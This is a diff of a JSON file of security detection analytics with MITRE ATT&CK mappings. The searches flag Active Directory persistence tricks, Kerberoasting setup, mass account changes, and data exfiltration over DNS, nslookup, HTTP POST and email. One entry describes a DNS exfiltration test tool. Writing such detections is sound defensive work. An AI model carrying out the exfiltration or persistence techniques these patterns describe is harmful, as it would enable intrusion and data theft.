"type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.004", - "mitre_attack_technique": "SSH Authorized Keys", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows AD DSRM Account Changes", - "description": "The following analytic identifies changes to the Directory Services Restore Mode (DSRM) account behavior via registry modifications. It detects alterations in the registry path \"*\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\DSRMAdminLogonBehavior\" with specific values indicating potential misuse. This activity is significant because the DSRM account, if misconfigured, can be exploited to persist within a domain, similar to a local administrator account. If confirmed malicious, an attacker could gain persistent administrative access to a Domain Controller, leading to potential domain-wide compromise and unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` min(_time) as _time from datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\DSRMAdminLogonBehavior\" Registry.registry_value_data IN (\"*1\",\"*2\") by Registry.action Registry.registry_path Registry.registry_value_data Registry.registry_value_type Registry.process_guid Registry.dest Registry.user | `drop_dm_object_name(Registry)` | join type=outer process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes by Processes.user Processes.process_name Processes.process Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)`] | table _time action dest user parent_process_name parent_process process_name process process_guid registry_path registry_value_data registry_value_type | `windows_ad_dsrm_account_changes_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "DSRM Account Changes Initiated on $dest$ by $user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows AD DSRM Password Reset", - "description": "The following analytic detects attempts to reset the Directory Services Restore Mode (DSRM) administrator password on a Domain Controller. It leverages event code 4794 from the Windows Security Event Log, specifically looking for events where the DSRM password reset is attempted. This activity is significant because the DSRM account can be used similarly to a local administrator account, providing potential persistence for an attacker. If confirmed malicious, this could allow an attacker to maintain administrative access to the Domain Controller, posing a severe risk to the domain's security.", - "search": "| tstats `security_content_summariesonly` min(_time) as _time from datamodel=Change where All_Changes.result_id=\"4794\" AND All_Changes.result=\"An attempt was made to set the Directory Services Restore Mode administrator password\" by All_Changes.action, All_Changes.dest, All_Changes.src, All_Changes.user | `drop_dm_object_name(All_Changes)` | `windows_ad_dsrm_password_reset_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "DSRM Account Password was reset on $dest$ by $user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows AD ServicePrincipalName Added To Domain Account", - "description": "The following analytic detects the addition of a Service Principal Name (SPN) to a domain account. It leverages Windows Event Code 5136 and monitors changes to the servicePrincipalName attribute. This activity is significant because it may indicate an attempt to perform Kerberoasting, a technique where attackers extract and crack service account passwords offline. If confirmed malicious, this could allow an attacker to obtain cleartext passwords, leading to unauthorized access and potential lateral movement within the domain environment.", - "search": " `wineventlog_security` EventCode=5136 AttributeLDAPDisplayName=servicePrincipalName OperationType=\"%%14674\" | stats values(ObjectDN) as ObjectDN by _time, Computer, SubjectUserName, AttributeValue | rename Computer as dest SubjectUserName as user | `windows_ad_serviceprincipalname_added_to_domain_account_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "ObjectDN", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A Servince Principal Name for $ObjectDN$ was set by $user$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows AD Short Lived Domain Account ServicePrincipalName", - "description": "The following analytic identifies the addition and quick deletion of a Service Principal Name (SPN) to a domain account within 5 minutes. This detection leverages EventCode 5136 from the Windows Security Event Log, focusing on changes to the servicePrincipalName attribute. This activity is significant as it may indicate an attempt to perform Kerberoasting, a technique used to crack the cleartext password of a domain account offline. If confirmed malicious, this could allow an attacker to gain unauthorized access to sensitive information or escalate privileges within the domain environment.", - "search": " `wineventlog_security` EventCode=5136 AttributeLDAPDisplayName=servicePrincipalName | transaction ObjectDN AttributeValue startswith=(EventCode=5136 OperationType=\"%%14674\") endswith=(EventCode=5136 OperationType=\"%%14675\") | eval short_lived=case((duration<300),\"TRUE\") | search short_lived = TRUE | rename ObjectDN as user | `windows_ad_short_lived_domain_account_serviceprincipalname_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A Servince Principal Name for $user$ was set and shortly deleted", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows DnsAdmins New Member Added", - "description": "The following analytic detects the addition of a new member to the DnsAdmins group in Active Directory by leveraging Event ID 4732. This detection uses security event logs to identify changes to this high-privilege group. Monitoring this activity is crucial because members of the DnsAdmins group can manage the DNS service, often running on Domain Controllers, and potentially execute malicious code with SYSTEM privileges. If confirmed malicious, this activity could allow an attacker to escalate privileges and gain control over critical domain services, posing a significant security risk.", - "search": " `wineventlog_security` EventCode=4732 TargetUserName=DnsAdmins | stats min(_time) as firstTime max(_time) as lastTime values(TargetUserName) as target_users_added values(user) as user by dest src_user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dnsadmins_new_member_added_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new member $user$ added to the DnsAdmins group by $src_user$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Multiple Account Passwords Changed", - "description": "The following analytic detects instances where more than five unique Windows account passwords are changed within a 10-minute interval. It leverages Event Code 4724 from the Windows Security Event Log, using the wineventlog_security dataset to monitor and count distinct TargetUserName values. This behavior is significant as rapid password changes across multiple accounts are unusual and may indicate unauthorized access or internal compromise. If confirmed malicious, this activity could lead to widespread account compromise, unauthorized access to sensitive information, and potential disruption of services.", - "search": " `wineventlog_security` EventCode=4724 status=success | bucket span=10m _time | stats count dc(user) as unique_users values(user) as user by EventCode signature _time src_user SubjectDomainName TargetDomainName Logon_ID | where unique_users > 5 | `windows_multiple_account_passwords_changed_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ changed the passwords of multiple accounts in a short period of time.", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Multiple Accounts Deleted", - "description": "The following analytic detects the deletion of more than five unique Windows accounts within a 10-minute period, using Event Code 4726 from the Windows Security Event Log. It leverages the `wineventlog_security` dataset, segmenting data into 10-minute intervals to identify suspicious account deletions. This activity is significant as it may indicate an attacker attempting to erase traces of their actions. If confirmed malicious, this could lead to unauthorized access removal, hindering incident response and forensic investigations.", - "search": " `wineventlog_security` EventCode=4726 status=success | bucket span=10m _time | stats count dc(user) as unique_users values(user) as user by EventCode signature _time src_user SubjectDomainName TargetDomainName Logon_ID | where unique_users > 5 | `windows_multiple_accounts_deleted_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ deleted multiple accounts in a short period of time.", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Multiple Accounts Disabled", - "description": "The following analytic identifies instances where more than five unique Windows accounts are disabled within a 10-minute window, as indicated by Event Code 4725 in the Windows Security Event Log. It leverages the wineventlog_security dataset, grouping data into 10-minute segments and tracking the count and distinct count of TargetUserName. This behavior is significant as it may indicate internal policy breaches or an external attacker's attempt to disrupt operations. If confirmed malicious, this activity could lead to widespread account lockouts, hindering user access and potentially disrupting business operations.", - "search": " `wineventlog_security` EventCode=4725 status=success | bucket span=10m _time | stats count dc(user) as unique_users values(user) as user by EventCode signature _time src_user SubjectDomainName TargetDomainName Logon_ID | where unique_users > 5 | `windows_multiple_accounts_disabled_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ disabled multiple accounts in a short period of time.", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -515294,7 +352457,7 @@ { "name": "DNSExfiltration (doh)", "auto_generated_guid": "c943d285-ada3-45ca-b3aa-7cd6500c6a48", - "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.\n!!! Test will fail without a domain under your control with A record and NS record !!! \nSee this github page for more details - https://github.com/Arno0x/DNSExfiltrator\n", + "description": "DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.\n!!! Test will fail without a domain under your control with A record and NS record !!! \nSee this github page for more details - https://github.com/Arno0x/DNSExfiltrator\n", "supported_platforms": [ "windows" ], @@ -517539,508 +354702,7 @@ "Event ID": null, "Event Name": "User interface" } - ], - { - "name": "Gsuite Outbound Email With Attachment To External Domain", - "description": "The following analytic detects outbound emails with attachments sent from an internal email domain to an external domain. It leverages Gsuite Gmail logs, parsing the source and destination email domains, and flags emails with fewer than 20 outbound instances. This activity is significant as it may indicate potential data exfiltration or insider threats. If confirmed malicious, an attacker could use this method to exfiltrate sensitive information, leading to data breaches and compliance violations.", - "search": "`gsuite_gmail` num_message_attachments > 0 | rex field=source.from_header_address \"[^@]+@(?[^@]+)\" | rex field=destination{}.address \"[^@]+@(?[^@]+)\" | where source_domain=\"internal_test_email.com\" and not dest_domain=\"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"low\" | stats values(subject) as subject, values(source.from_header_address) as src_domain_list, count as numEvents, dc(source.from_header_address) as numSrcAddresses, min(_time) as firstTime max(_time) as lastTime by dest_domain phase severity | where numSrcAddresses < 20 |sort - numSrcAddresses | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_outbound_email_with_attachment_to_external_domain_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops", - "Insider Threat" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_domain_list", - "type": "Email Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest_domain", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious email from $src_domain_list$ to $dest_domain$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "DNS Exfiltration Using Nslookup App", - "description": "The following analytic identifies potential DNS exfiltration using the nslookup application. It detects specific command-line parameters such as query type (TXT, A, AAAA) and retry options, which are commonly used by attackers to exfiltrate data. The detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process execution logs. This activity is significant as it may indicate an attempt to communicate with a Command and Control (C2) server or exfiltrate sensitive data. If confirmed malicious, this could lead to data breaches and unauthorized access to critical information.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id values(Processes.parent_process) as parent_process count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"nslookup.exe\" Processes.process = \"*-querytype=*\" OR Processes.process=\"*-qt=*\" OR Processes.process=\"*-q=*\" OR Processes.process=\"-type=*\" OR Processes.process=\"*-retry=*\" by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `dns_exfiltration_using_nslookup_app_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Data Exfiltration", - "Dynamic DNS", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ performing activity related to DNS exfiltration.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Excessive Usage of NSLOOKUP App", - "description": "The following analytic detects excessive usage of the nslookup application, which may indicate potential DNS exfiltration attempts. It leverages Sysmon EventCode 1 to monitor process executions, specifically focusing on nslookup.exe. The detection identifies outliers by comparing the frequency of nslookup executions against a calculated threshold. This activity is significant as it can reveal attempts by malware or APT groups to exfiltrate data via DNS queries. If confirmed malicious, this behavior could allow attackers to stealthily transfer sensitive information out of the network, bypassing traditional data exfiltration defenses.", - "search": "`sysmon` EventCode = 1 process_name = \"nslookup.exe\" | bucket _time span=1m | stats count as numNsLookup by dest, _time | eventstats avg(numNsLookup) as avgNsLookup, stdev(numNsLookup) as stdNsLookup, count as numSlots by dest | eval upperThreshold=(avgNsLookup + stdNsLookup *3) | eval isOutlier=if(numNsLookup > 20 and numNsLookup >= upperThreshold, 1, 0) | search isOutlier=1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_usage_of_nslookup_app_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Data Exfiltration", - "Dynamic DNS", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Excessive usage of nslookup.exe has been detected on $dest$. This detection is triggered as as it violates the dynamic threshold", - "risk_score": 28, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "DNS Query Length With High Standard Deviation", - "description": "The following analytic identifies DNS queries with unusually large lengths by computing the standard deviation of query lengths and filtering those exceeding twice the standard deviation. It leverages DNS query data from the Network_Resolution data model, focusing on the length of the domain names being resolved. This activity is significant as unusually long DNS queries can indicate data exfiltration or command-and-control communication attempts. If confirmed malicious, this activity could allow attackers to stealthily transfer data or maintain persistent communication channels within the network.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution where NOT DNS.record_type IN(\"Pointer\",\"PTR\") by DNS.query host| `drop_dm_object_name(\"DNS\")` | eval tlds=split(query,\".\") | eval tld=mvindex(tlds,-1) | eval tld_len=len(tld) | search tld_len<=24 | eval query_length = len(query) | table host query query_length record_type count | eventstats stdev(query_length) AS stdev avg(query_length) AS avg p50(query_length) AS p50| where query_length>(avg+stdev*2) | eval z_score=(query_length-avg)/stdev | `dns_query_length_with_high_standard_deviation_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Hidden Cobra Malware", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A dns query $query$ with 2 time standard deviation of name len of the dns query in host $host$", - "risk_score": 56, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Multiple Archive Files Http Post Traffic", - "description": "The following analytic detects the high-frequency exfiltration of archive files via HTTP POST requests. It leverages HTTP stream logs to identify specific archive file headers within the request body. This activity is significant as it often indicates data exfiltration by APTs or trojan spyware after data collection. If confirmed malicious, this behavior could lead to the unauthorized transfer of sensitive data to an attacker\u2019s command and control server, potentially resulting in severe data breaches and loss of confidential information.", - "search": "`stream_http` http_method=POST |eval archive_hdr1=substr(form_data,1,2) | eval archive_hdr2 = substr(form_data,1,4) |stats values(form_data) as http_request_body min(_time) as firstTime max(_time) as lastTime count by src_ip dest_ip http_method http_user_agent uri_path url bytes_in bytes_out archive_hdr1 archive_hdr2 |where count >20 AND (archive_hdr1 = \"7z\" OR archive_hdr1 = \"PK\" OR archive_hdr2=\"Rar!\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `multiple_archive_files_http_post_traffic_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Data Exfiltration" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "A http post $http_method$ sending packet with possible archive bytes header in uri path $uri_path$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Plain HTTP POST Exfiltrated Data", - "description": "The following analytic detects potential data exfiltration using plain HTTP POST requests. It leverages network traffic logs, specifically monitoring the `stream_http` data source for POST methods containing suspicious form data such as \"wermgr.exe\" or \"svchost.exe\". This activity is significant because it is commonly associated with malware like Trickbot, trojans, keyloggers, or APT adversaries, which use plain text HTTP POST requests to communicate with remote C2 servers. If confirmed malicious, this activity could lead to unauthorized data exfiltration, compromising sensitive information and potentially leading to further network infiltration.", - "search": "`stream_http` http_method=POST form_data IN (\"*wermgr.exe*\",\"*svchost.exe*\", \"*name=\\\"proclist\\\"*\",\"*ipconfig*\", \"*name=\\\"sysinfo\\\"*\", \"*net view*\") |stats values(form_data) as http_request_body min(_time) as firstTime max(_time) as lastTime count by src_ip dest_ip http_method http_user_agent uri_path url bytes_in bytes_out | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `plain_http_post_exfiltrated_data_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Data Exfiltration" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "A http post $http_method$ sending packet with plain text of information in uri path $uri_path$", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Prohibited Network Traffic Allowed", - "description": "The following analytic detects instances where network traffic, identified by port and transport layer protocol as prohibited in the \"lookup_interesting_ports\" table, is allowed. It uses the Network_Traffic data model to cross-reference traffic data against predefined security policies. This activity is significant for a SOC as it highlights potential misconfigurations or policy violations that could lead to unauthorized access or data exfiltration. If confirmed malicious, this could allow attackers to bypass network defenses, leading to potential data breaches and compromising the organization's security posture.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.action = allowed by All_Traffic.src_ip All_Traffic.dest_ip All_Traffic.dest_port All_Traffic.action | lookup update=true interesting_ports_lookup dest_port as All_Traffic.dest_port OUTPUT app is_prohibited note transport | search is_prohibited=true | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | 